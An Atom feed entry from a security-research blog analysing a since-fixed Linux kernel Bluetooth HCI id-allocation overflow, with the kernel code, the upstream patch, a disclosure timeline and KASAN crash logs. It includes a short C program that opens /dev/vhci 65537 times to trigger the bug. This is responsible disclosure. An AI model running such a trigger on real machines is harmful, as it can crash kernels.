<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.5">Jekyll</generator><link href="https://itayie.me/feed.xml" rel="self" type="application/atom+xml" /><link href="https://itayie.me/" rel="alternate" type="text/html" /><updated>2024-04-15T20:24:27+00:00</updated><id>https://itayie.me/feed.xml</id><title type="html">Itay Iellin</title><subtitle>Security research and Linux related posts</subtitle><entry><title type="html">Finding bugs in the Linux Kernel Bluetooth Subsystem: Understanding HCI device id generation</title><link href="https://itayie.me/linux/2022/07/29/finding-bugs-in-the-linux-kernel-bt-subsystem-part-1.html" rel="alternate" type="text/html" title="Finding bugs in the Linux Kernel Bluetooth Subsystem: Understanding HCI device id generation" /><published>2022-07-29T08:34:27+00:00</published><updated>2022-07-29T08:34:27+00:00</updated><id>https://itayie.me/linux/2022/07/29/finding-bugs-in-the-linux-kernel-bt-subsystem-part-1</id><content type="html" xml:base="https://itayie.me/linux/2022/07/29/finding-bugs-in-the-linux-kernel-bt-subsystem-part-1.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>This blog post describes an (unexploitable, <strong>yet</strong>) out of bounds write bug in the HCI device id allocation mechanism in the Linux Kernel.</p>

<h2 id="hci-sockets">HCI Sockets</h2>

<p>The Host Controller Interface (HCI) socket mechanism provides a direct interface from user-space to the Bluetooth microcontroller via the local Bluetooth adapter. This interface is used for example to understand which Bluetooth adapters are present on your system.</p>

<p>Here is an example <code class="language-plaintext highlighter-rouge">strace</code> log from <code class="language-plaintext highlighter-rouge">hciconfig</code>, a <a href="http://www.bluez.org/">BlueZ</a> util, analogous to <code class="language-plaintext highlighter-rouge">ifconfig</code>, which displays local Bluetooth adapters:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI) = 3
[...]
ioctl(3, HCIGETDEVLIST, 0x5573a94122a0) = 0
ioctl(3, HCIGETDEVINFO, 0x5573a81e0880) = 0
[...]
</code></pre></div></div>

<p>Which in turn, outputs:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hci0:	Type: Primary  Bus: USB
	BD Address: 5C:5F:67:99:3C:6A  ACL MTU: 8192:128  SCO MTU: 64:128
	DOWN 
	RX bytes:504 acl:0 sco:0 events:22 errors:0
	TX bytes:335 acl:0 sco:0 commands:22 errors:0
</code></pre></div></div>

<h2 id="the-bug">The bug</h2>

<p>The bug exists in <code class="language-plaintext highlighter-rouge">net/bluetooth/hci_core.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Register HCI device */</span>
<span class="kt">int</span> <span class="nf">hci_register_dev</span><span class="p">(</span><span class="k">struct</span> <span class="n">hci_dev</span> <span class="o">*</span><span class="n">hdev</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">id</span><span class="p">,</span> <span class="n">error</span><span class="p">;</span>
	<span class="p">[...]</span>
	<span class="k">switch</span> <span class="p">(</span><span class="n">hdev</span><span class="o">-&gt;</span><span class="n">dev_type</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">case</span> <span class="n">HCI_PRIMARY</span><span class="p">:</span>
		<span class="n">id</span> <span class="o">=</span> <span class="n">ida_simple_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hci_index_ida</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">HCI_AMP</span><span class="p">:</span>
		<span class="n">id</span> <span class="o">=</span> <span class="n">ida_simple_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hci_index_ida</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="p">[...]</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">id</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">id</span><span class="p">;</span>

	<span class="n">sprintf</span><span class="p">(</span><span class="n">hdev</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">,</span> <span class="s">"hci%d"</span><span class="p">,</span> <span class="n">id</span><span class="p">);</span>
	<span class="n">hdev</span><span class="o">-&gt;</span><span class="n">id</span> <span class="o">=</span> <span class="n">id</span><span class="p">;</span>

</code></pre></div></div>
<p>Where an out of bounds write occurs at <code class="language-plaintext highlighter-rouge">sprintf()</code> to <code class="language-plaintext highlighter-rouge">hdev-&gt;name</code> when the <code class="language-plaintext highlighter-rouge">id</code> local variable has a decimal notation which value is greater than 9999.</p>

<h1 id="breakdown">Breakdown</h1>
<p>The <code class="language-plaintext highlighter-rouge">id</code> local variable, is defined as an <code class="language-plaintext highlighter-rouge">int</code>, which would be 4 bytes in size on modern architectures.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">hci_register_dev</span><span class="p">(</span><span class="k">struct</span> <span class="n">hci_dev</span> <span class="o">*</span><span class="n">hdev</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">id</span><span class="p">,</span> <span class="n">error</span><span class="p">;</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">name</code> member of <code class="language-plaintext highlighter-rouge">hdev</code> however, is set up to 8 bytes in size:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">hci_dev</span> <span class="p">{</span>
	<span class="p">[...]</span>
	<span class="kt">char</span>		<span class="n">name</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
	<span class="n">__u16</span>		<span class="n">id</span><span class="p">;</span>
</code></pre></div></div>
<p>Where <code class="language-plaintext highlighter-rouge">ida_simple_get()</code>, which generates the id, has an upper bound of 2^31, because of the <code class="language-plaintext highlighter-rouge">id&lt;0</code> test.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="k">switch</span> <span class="p">(</span><span class="n">hdev</span><span class="o">-&gt;</span><span class="n">dev_type</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">case</span> <span class="n">HCI_PRIMARY</span><span class="p">:</span>
		<span class="n">id</span> <span class="o">=</span> <span class="n">ida_simple_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hci_index_ida</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">HCI_AMP</span><span class="p">:</span>
		<span class="n">id</span> <span class="o">=</span> <span class="n">ida_simple_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hci_index_ida</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
		<span class="k">break</span><span class="p">;</span>
</code></pre></div></div>

<p>This, in practice means that an id with value up to <code class="language-plaintext highlighter-rouge">(2^31)-1</code>, which translates to <code class="language-plaintext highlighter-rouge">2147483647</code> in decimal notation could be generated for HCI devices.</p>

<p>The <code class="language-plaintext highlighter-rouge">sprintf</code> function formats the <code class="language-plaintext highlighter-rouge">hci%d</code> formatted string into <code class="language-plaintext highlighter-rouge">hdev-&gt;name</code>. It is trivial to see that if <code class="language-plaintext highlighter-rouge">%d</code> would be greater than 9999, then an out of bounds write would occur.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="n">sprintf</span><span class="p">(</span><span class="n">hdev</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">,</span> <span class="s">"hci%d"</span><span class="p">,</span> <span class="n">id</span><span class="p">);</span>
</code></pre></div></div>

<p>Furthermore, when setting the local variable <code class="language-plaintext highlighter-rouge">id</code> to <code class="language-plaintext highlighter-rouge">hdev-&gt;id</code>, which is defined as a 2 bytes unsigned integer, an integer truncation would occur.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="n">hdev</span><span class="o">-&gt;</span><span class="n">id</span> <span class="o">=</span> <span class="n">id</span><span class="p">;</span>
</code></pre></div></div>

<h2 id="the-fix">The fix</h2>

<p>The <a href="https://github.com/torvalds/linux/commit/103a2f3255a95991252f8f13375c3a96a75011cd">fix</a> seems trivial, simply set a maximum <code class="language-plaintext highlighter-rouge">HCI_MAX_ID</code> constant to <code class="language-plaintext highlighter-rouge">ida_simple_get()</code>, which would set an upper bound of 10000 to the id generation.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[..]</span>
<span class="o">-</span>		<span class="n">id</span> <span class="o">=</span> <span class="n">ida_simple_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hci_index_ida</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
<span class="o">+</span>		<span class="n">id</span> <span class="o">=</span> <span class="n">ida_simple_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hci_index_ida</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">HCI_MAX_ID</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">HCI_AMP</span><span class="p">:</span>
<span class="o">-</span>		<span class="n">id</span> <span class="o">=</span> <span class="n">ida_simple_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hci_index_ida</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
<span class="o">+</span>		<span class="n">id</span> <span class="o">=</span> <span class="n">ida_simple_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hci_index_ida</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">HCI_MAX_ID</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
<span class="p">[...]</span>
<span class="o">-</span>	<span class="n">sprintf</span><span class="p">(</span><span class="n">hdev</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">,</span> <span class="s">"hci%d"</span><span class="p">,</span> <span class="n">id</span><span class="p">);</span>
<span class="o">+</span>	<span class="n">snprintf</span><span class="p">(</span><span class="n">hdev</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hdev</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">),</span> <span class="s">"hci%d"</span><span class="p">,</span> <span class="n">id</span><span class="p">);</span>

</code></pre></div></div>

<h2 id="exploitation">Exploitation</h2>

<p>To exploit the out of bounds write bug, 10000 Bluetooth devices should be connected. To simulate this behaviour, I loaded the <code class="language-plaintext highlighter-rouge">hci_vhci.ko</code> kernel module to simulate a connection of multiple Bluetooth devices. Loading the driver exposed a character device named <code class="language-plaintext highlighter-rouge">/dev/vhci</code>, which is accessible from <strong>root</strong> permissions only.
To trigger the id truncation bug, I simulated a connection of 65537 <code class="language-plaintext highlighter-rouge">(2^16+1)</code> Bluetooth devices using the following code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/resource.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/time.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
        <span class="k">struct</span> <span class="n">rlimit</span> <span class="n">rlim</span><span class="p">;</span>
        <span class="n">rlim</span><span class="p">.</span><span class="n">rlim_cur</span> <span class="o">=</span> <span class="mi">65537</span><span class="p">;</span>
        <span class="n">rlim</span><span class="p">.</span><span class="n">rlim_max</span> <span class="o">=</span> <span class="mi">65537</span><span class="p">;</span>
        <span class="n">setrlimit</span><span class="p">(</span><span class="n">RLIMIT_NOFILE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">rlim</span><span class="p">);</span>

        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">65537</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
                <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/vhci"</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span>
        <span class="p">}</span>
<span class="p">}</span>

</code></pre></div></div>

<p>I used the <a href="https://linux.die.net/man/2/setrlimit">setrlimit</a> system call to increase the maximum number of open file descriptors of the relevant exploit.</p>

<h1 id="out-of-bounds-write">Out of bounds write</h1>

<p>The above scenario could lead to an out of bounds write, using the <code class="language-plaintext highlighter-rouge">HCIGETDEVINFO</code> ioctl handler (at <code class="language-plaintext highlighter-rouge">/net/bluetooth/hci_core.c</code>):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">hci_get_dev_info</span><span class="p">(</span><span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">hci_dev</span> <span class="o">*</span><span class="n">hdev</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">hci_dev_info</span> <span class="n">di</span><span class="p">;</span>
	<span class="p">[...]</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">copy_from_user</span><span class="p">(</span><span class="o">&amp;</span><span class="n">di</span><span class="p">,</span> <span class="n">arg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">di</span><span class="p">)))</span>
		<span class="k">return</span> <span class="o">-</span><span class="n">EFAULT</span><span class="p">;</span>

	<span class="n">hdev</span> <span class="o">=</span> <span class="n">hci_dev_get</span><span class="p">(</span><span class="n">di</span><span class="p">.</span><span class="n">dev_id</span><span class="p">);</span>
	<span class="p">[...]</span>

	<span class="n">strcpy</span><span class="p">(</span><span class="n">di</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="n">hdev</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">);</span>
	<span class="n">di</span><span class="p">.</span><span class="n">bdaddr</span>   <span class="o">=</span> <span class="n">hdev</span><span class="o">-&gt;</span><span class="n">bdaddr</span><span class="p">;</span>
	<span class="p">[...]</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">copy_to_user</span><span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">di</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">di</span><span class="p">)))</span>
		<span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="n">EFAULT</span><span class="p">;</span>

<span class="p">}</span>
</code></pre></div></div>
<p>There no bounds checking and there is an <strong>explicit</strong> use of strcpy().</p>

<p>Where <code class="language-plaintext highlighter-rouge">struct hci_dev</code> includes the following member order:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">hci_dev_info</span> <span class="p">{</span>
	<span class="n">__u16</span> <span class="n">dev_id</span><span class="p">;</span>
	<span class="kt">char</span>  <span class="n">name</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>

	<span class="n">bdaddr_t</span> <span class="n">bdaddr</span><span class="p">;</span>
	<span class="p">[...]</span>
</code></pre></div></div>
<p>Given an <code class="language-plaintext highlighter-rouge">hdev-&gt;name</code> with an id value which is greater than 99999 in decimal notaion, any user-space tool that uses the <code class="language-plaintext highlighter-rouge">HCIGETDEVINFO</code> ioctl could be tricked into getting an incorrect Bluetooth device address.</p>

<p>Furthermore, the given HCI id would return the first id value set (modulo to 65536) <code class="language-plaintext highlighter-rouge">struct hci_dev</code>. For example, setting an ioctl with <code class="language-plaintext highlighter-rouge">HCIGETDEVINFO</code> of a  HCI device with id value of 65537 would return a <code class="language-plaintext highlighter-rouge">struct hci_dev</code> with id value of 1.</p>

<h2 id="timeline">Timeline</h2>
<blockquote>
  <p>02/05/2022 - Bug reported to security@kernel.org</p>

  <p>07/05/2022 - The <a href="https://github.com/torvalds/linux/commit/103a2f3255a95991252f8f13375c3a96a75011cd">commit</a> was sent publicly, without disclosing any exploitation vectors or crash logs, as requested</p>

  <p>11/05/2022 - The <a href="https://github.com/torvalds/linux/commit/103a2f3255a95991252f8f13375c3a96a75011cd">commit</a> was merged upstream to all Linux Kernel stable versions</p>
</blockquote>

<h2 id="kasan-logs">KASAN logs</h2>

<p>The following KASAN logs were displayed when triggering the bugs described above:</p>

<h1 id="bug-1-use-after-free-read">Bug 1: Use-after-free read</h1>

<blockquote>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 4294.772216] BUG: KASAN: use-after-free in kobject_put+0x31/0x460
[ 4294.772219] Read of size 1 at addr ffff88828a734d24 by task
openfd/2468

[ 4294.772242] CPU: 3 PID: 2468 Comm: openfd Tainted: G        W   EL
5.10.106 #1
[ 4294.772243] Hardware name: VMware, Inc. VMware Virtual
Platform/440BX Desktop Reference Platform, BIOS 6.00 07/22/2020
[ 4294.772245] Call Trace:
[ 4294.772250]  dump_stack+0x91/0xbc
[ 4294.772253]  print_address_description.constprop.0+0x1c/0x210
[ 4294.772256]  ? _raw_spin_lock_irqsave+0xa6/0x150
[ 4294.772259]  ? slab_free_freelist_hook+0x6a/0x3f0
[ 4294.772262]  ? _raw_write_unlock_bh+0x50/0x50
[ 4294.772264]  ? kobject_put+0x16c/0x460
[ 4294.772266]  ? kobject_put+0x31/0x460
[ 4294.772268]  ? kobject_put+0x31/0x460
[ 4294.772271]  kasan_report.cold+0x1f/0x37
[ 4294.772273]  ? kobject_put+0x31/0x460
[ 4294.772275]  kobject_put+0x31/0x460
[ 4294.772280]  vhci_release+0x6b/0x110 [hci_vhci]
[ 4294.772284]  __fput+0x18f/0x8d0
[ 4294.772288]  task_work_run+0xea/0x1e0
[ 4294.772290]  do_exit+0x915/0x2c20
[ 4294.772293]  ? put_timespec64+0x9c/0x100
[ 4294.772295]  ? mm_update_next_owner+0xa40/0xa40
[ 4294.772298]  ? hrtimer_active+0x7c/0x1c0
[ 4294.772300]  ? _raw_spin_lock_irq+0x96/0x130
[ 4294.772303]  ? do_nanosleep+0x3c7/0x550
[ 4294.772305]  do_group_exit+0x7d/0x320
[ 4294.772307]  get_signal+0x34d/0x1f60
[ 4294.772311]  arch_do_signal+0x88/0x26e0
[ 4294.772314]  ? __hrtimer_init+0x230/0x230
[ 4294.772316]  ? copy_siginfo_to_user32+0x80/0x80
[ 4294.772318]  ? jiffies_to_timespec64+0x90/0x90
[ 4294.772321]  ? common_nsleep+0x63/0x80
[ 4294.772323]  ? __x64_sys_clock_nanosleep+0x224/0x390
[ 4294.772326]  ? __ia32_sys_clock_adjtime+0x60/0x60
[ 4294.772329]  exit_to_user_mode_prepare+0xd7/0x120
[ 4294.772332]  syscall_exit_to_user_mode+0x28/0x140
[ 4294.772334]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 4294.772337] RIP: 0033:0x7f27a255fc0a
[ 4294.772338] Code: Unable to access opcode bytes at RIP
0x7f27a255fbe0.
[ 4294.772340] RSP: 002b:00007ffcb54e9790 EFLAGS: 00000246 ORIG_RAX:
00000000000000e6
[ 4294.772343] RAX: fffffffffffffdfc RBX: ffffffffffffff80 RCX:
00007f27a255fc0a
[ 4294.772345] RDX: 00007ffcb54e97d0 RSI: 0000000000000000 RDI:
0000000000000000
[ 4294.772346] RBP: 0000000000000000 R08: 0000000000000000 R09:
00007f27a268a1b0
[ 4294.772348] R10: 00007ffcb54e97d0 R11: 0000000000000246 R12:
000055607fcb20d0
[ 4294.772350] R13: 0000000000000000 R14: 0000000000000000 R15:
0000000000000000

[ 4294.772354] Allocated by task 9921:
[ 4294.772357]  kasan_save_stack+0x1b/0x40
[ 4294.772359]  __kasan_kmalloc.constprop.0+0xc2/0xd0
[ 4294.772388]  hci_alloc_dev+0x2b/0xda0 [bluetooth]
[ 4294.772391]  __vhci_create_device+0xd4/0x580 [hci_vhci]
[ 4294.772393]  vhci_open_timeout+0x40/0x80 [hci_vhci]
[ 4294.772395]  process_one_work+0x51b/0x10f0
[ 4294.772397]  worker_thread+0x493/0x13a0
[ 4294.772399]  kthread+0x24b/0x330
[ 4294.772402]  ret_from_fork+0x1f/0x30

[ 4294.772404] Freed by task 2468:
[ 4294.772407]  kasan_save_stack+0x1b/0x40
[ 4294.772408]  kasan_set_track+0x1c/0x30
[ 4294.772410]  kasan_set_free_info+0x1b/0x30
[ 4294.772412]  __kasan_slab_free+0x110/0x150
[ 4294.772414]  slab_free_freelist_hook+0x6a/0x3f0
[ 4294.772417]  kfree+0xfc/0x910
[ 4294.772445]  bt_host_release+0x4e/0x90 [bluetooth]
[ 4294.772447]  device_release+0xf2/0x320
[ 4294.772450]  kobject_put+0x154/0x460
[ 4294.772452]  vhci_release+0x63/0x110 [hci_vhci]
[ 4294.772454]  __fput+0x18f/0x8d0
[ 4294.772456]  task_work_run+0xea/0x1e0
[ 4294.772458]  do_exit+0x915/0x2c20
[ 4294.772460]  do_group_exit+0x7d/0x320
[ 4294.772462]  get_signal+0x34d/0x1f60
[ 4294.772464]  arch_do_signal+0x88/0x26e0
[ 4294.772467]  exit_to_user_mode_prepare+0xd7/0x120
[ 4294.772469]  syscall_exit_to_user_mode+0x28/0x140
[ 4294.772471]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[ 4294.772474] The buggy address belongs to the object at
ffff88828a734000
               which belongs to the cache kmalloc-8k of size 8192
[ 4294.772477] The buggy address is located 3364 bytes inside of
               8192-byte region [ffff88828a734000, ffff88828a736000)
[ 4294.772479] The buggy address belongs to the page:
[ 4294.772483] page:00000000608c5702 refcount:1 mapcount:0
mapping:0000000000000000 index:0x0 pfn:0x28a730
[ 4294.772485] head:00000000608c5702 order:3 compound_mapcount:0
compound_pincount:0
[ 4294.772487] flags: 0x17ffffc0010200(slab|head)
[ 4294.772490] raw: 0017ffffc0010200 dead000000000100 dead000000000122
ffff88810004ee40
[ 4294.772493] raw: 0000000000000000 0000000000020002 00000001ffffffff
0000000000000000
[ 4294.772494] page dumped because: kasan: bad access detected

[ 4294.772496] Memory state around the buggy address:
[ 4294.772522]  ffff88828a734c00: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[ 4294.772524]  ffff88828a734c80: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[ 4294.772526] &gt;ffff88828a734d00: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[ 4294.772528]                                ^
[ 4294.772531]  ffff88828a734d80: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[ 4294.772533]  ffff88828a734e00: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[ 4294.772535]
==================================================================
[ 4294.772537] Disabling lock debugging due to kernel taint
[ 4294.772538] ------------[ cut here ]------------
[ 4294.772539] refcount_t: underflow; use-after-free.
[ 4294.772541]
=======================================================================
</code></pre></div>  </div>
</blockquote>

<h1 id="bug-2-null-pointer-dereference">Bug #2: NULL pointer dereference</h1>

<blockquote>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 4348.819535] BUG: kernel NULL pointer dereference, address:
0000000000000078
[ 4348.819541] #PF: supervisor read access in kernel mode
[ 4348.819543] #PF: error_code(0x0000) - not-present page
[ 4348.819546] PGD 0 P4D 0
[ 4348.819551] Oops: 0000 [#1] SMP KASAN NOPTI
[ 4348.819555] CPU: 9 PID: 2468 Comm: openfd Tainted: G    B   W   EL
5.10.106 #1
[ 4348.819557] Hardware name: VMware, Inc. VMware Virtual
Platform/440BX Desktop Reference Platform, BIOS 6.00 07/22/2020
[ 4348.819562] RIP: 0010:ida_free+0x17e/0x350
[ 4348.819566] Code: b5 d1 00 eb 61 a8 07 0f 85 d4 01 00 00 4c 89 f8 be
08 00 00 00 48 c1 f8 06 4c 8d 44 c5 00 4c 89 c7 4c 89 04 24 e8 42 4f 90
ff &lt;4c&gt; 0f a3 7d 00 72 79 48 8b 6c 24 40 40 f6 c5 07 0f 85 61 01 00 00
[ 4348.819568] RSP: 0018:ffff8881428c7980 EFLAGS: 00010002
[ 4348.819572] RAX: 0000000000000001 RBX: 1ffff11028518f32 RCX:
ffffffffacb1235e
[ 4348.819574] RDX: 0000000000000000 RSI: 0000000000000008 RDI:
0000000000000078
[ 4348.819576] RBP: 0000000000000000 R08: 0000000000000000 R09:
0000000000000080
[ 4348.819578] R10: ffffed1028518f24 R11: 0000000000000001 R12:
0000000000000246
[ 4348.819580] R13: ffff8881428c79c0 R14: 00000000000083fe R15:
00000000000003fe
[ 4348.819583] FS:  0000000000000000(0000) GS:ffff888568080000(0000)
knlGS:0000000000000000
[ 4348.819585] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4348.819588] CR2: 0000000000000078 CR3: 00000002cb47c002 CR4:
00000000007706e0
[ 4348.819593] PKRU: 55555554
[ 4348.819595] Call Trace:
[ 4348.819600]  ? ida_destroy+0x2f0/0x2f0
[ 4348.819632]  ? hci_adv_instances_clear+0x1df/0x3d0 [bluetooth]
[ 4348.819660]  ? hci_cleanup_dev+0x5d7/0xbe0 [bluetooth]
[ 4348.819689]  ? bt_link_release+0x20/0x20 [bluetooth]
[ 4348.819718]  bt_host_release+0x66/0x90 [bluetooth]
[ 4348.819723]  device_release+0xf2/0x320
[ 4348.819726]  kobject_put+0x154/0x460
[ 4348.819731]  vhci_release+0x6b/0x110 [hci_vhci]
[ 4348.819735]  __fput+0x18f/0x8d0
[ 4348.819739]  task_work_run+0xea/0x1e0
[ 4348.819742]  do_exit+0x915/0x2c20
[ 4348.819746]  ? put_timespec64+0x9c/0x100
[ 4348.819749]  ? mm_update_next_owner+0xa40/0xa40
[ 4348.819752]  ? hrtimer_active+0x7c/0x1c0
[ 4348.819756]  ? _raw_spin_lock_irq+0x96/0x130
[ 4348.819759]  ? do_nanosleep+0x3c7/0x550
[ 4348.819762]  do_group_exit+0x7d/0x320
[ 4348.819765]  get_signal+0x34d/0x1f60
[ 4348.819769]  arch_do_signal+0x88/0x26e0
[ 4348.819772]  ? __hrtimer_init+0x230/0x230
[ 4348.819775]  ? copy_siginfo_to_user32+0x80/0x80
[ 4348.819778]  ? jiffies_to_timespec64+0x90/0x90
[ 4348.819781]  ? common_nsleep+0x63/0x80
[ 4348.819784]  ? __x64_sys_clock_nanosleep+0x224/0x390
[ 4348.819787]  ? __ia32_sys_clock_adjtime+0x60/0x60
[ 4348.819791]  exit_to_user_mode_prepare+0xd7/0x120
[ 4348.819795]  syscall_exit_to_user_mode+0x28/0x140
[ 4348.819798]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 4348.819801] RIP: 0033:0x7f27a255fc0a
[ 4348.819803] Code: Unable to access opcode bytes at RIP
0x7f27a255fbe0.
[ 4348.819805] RSP: 002b:00007ffcb54e9790 EFLAGS: 00000246 ORIG_RAX:
00000000000000e6
[ 4348.819809] RAX: fffffffffffffdfc RBX: ffffffffffffff80 RCX:
00007f27a255fc0a
[ 4348.819811] RDX: 00007ffcb54e97d0 RSI: 0000000000000000 RDI:
0000000000000000
[ 4348.819813] RBP: 0000000000000000 R08: 0000000000000000 R09:
00007f27a268a1b0
[ 4348.819815] R10: 00007ffcb54e97d0 R11: 0000000000000246 R12:
000055607fcb20d0
[ 4348.819818] R13: 0000000000000000 R14: 0000000000000000 R15:
0000000000000000
[ 4348.819820] Modules linked in: hci_vhci(E) uinput(E) rfcomm(E)
bnep(E) btusb(E) btrtl(E) btbcm(E) btintel(E) bluetooth(E)
jitterentropy_rng(E) vsock_loopback(E) drbg(E)
vmw_vsock_virtio_transport_common(E) intel_rapl_msr(E)
intel_rapl_common(E) intel_pmc_core_pltdrv(E) snd_ens1371(E)
vmw_vsock_vmci_transport(E) intel_pmc_core(E) vsock(E)
ghash_clmulni_intel(E) aes_generic(E) snd_ac97_codec(E) ac97_bus(E)
aesni_intel(E) gameport(E) crypto_simd(E) snd_rawmidi(E) cryptd(E)
ansi_cprng(E) snd_seq_device(E) glue_helper(E) snd_pcm(E) rapl(E)
ecdh_generic(E) snd_timer(E) rfkill(E) ecc(E) snd(E) libaes(E)
soundcore(E) vmw_balloon(E) joydev(E) sg(E) serio_raw(E) pcspkr(E)
vmw_vmci(E) evdev(E) ac(E) msr(E) parport_pc(E) ppdev(E) lp(E)
parport(E) fuse(E) configfs(E) ip_tables(E) x_tables(E) autofs4(E)
ext4(E) crc16(E) mbcache(E) jbd2(E) btrfs(E) blake2b_generic(E)
raid10(E) raid456(E) async_raid6_recov(E) async_memcpy(E) async_pq(E)
async_xor(E) async_tx(E) xor(E) raid6_pq(E) libcrc32c(E)
[ 4348.819904]  crc32c_generic(E) raid1(E) raid0(E) multipath(E)
linear(E) md_mod(E) hid_generic(E) usbhid(E) hid(E) sd_mod(E) t10_pi(E)
crc_t10dif(E) crct10dif_generic(E) vmwgfx(E) sr_mod(E) cdrom(E) ttm(E)
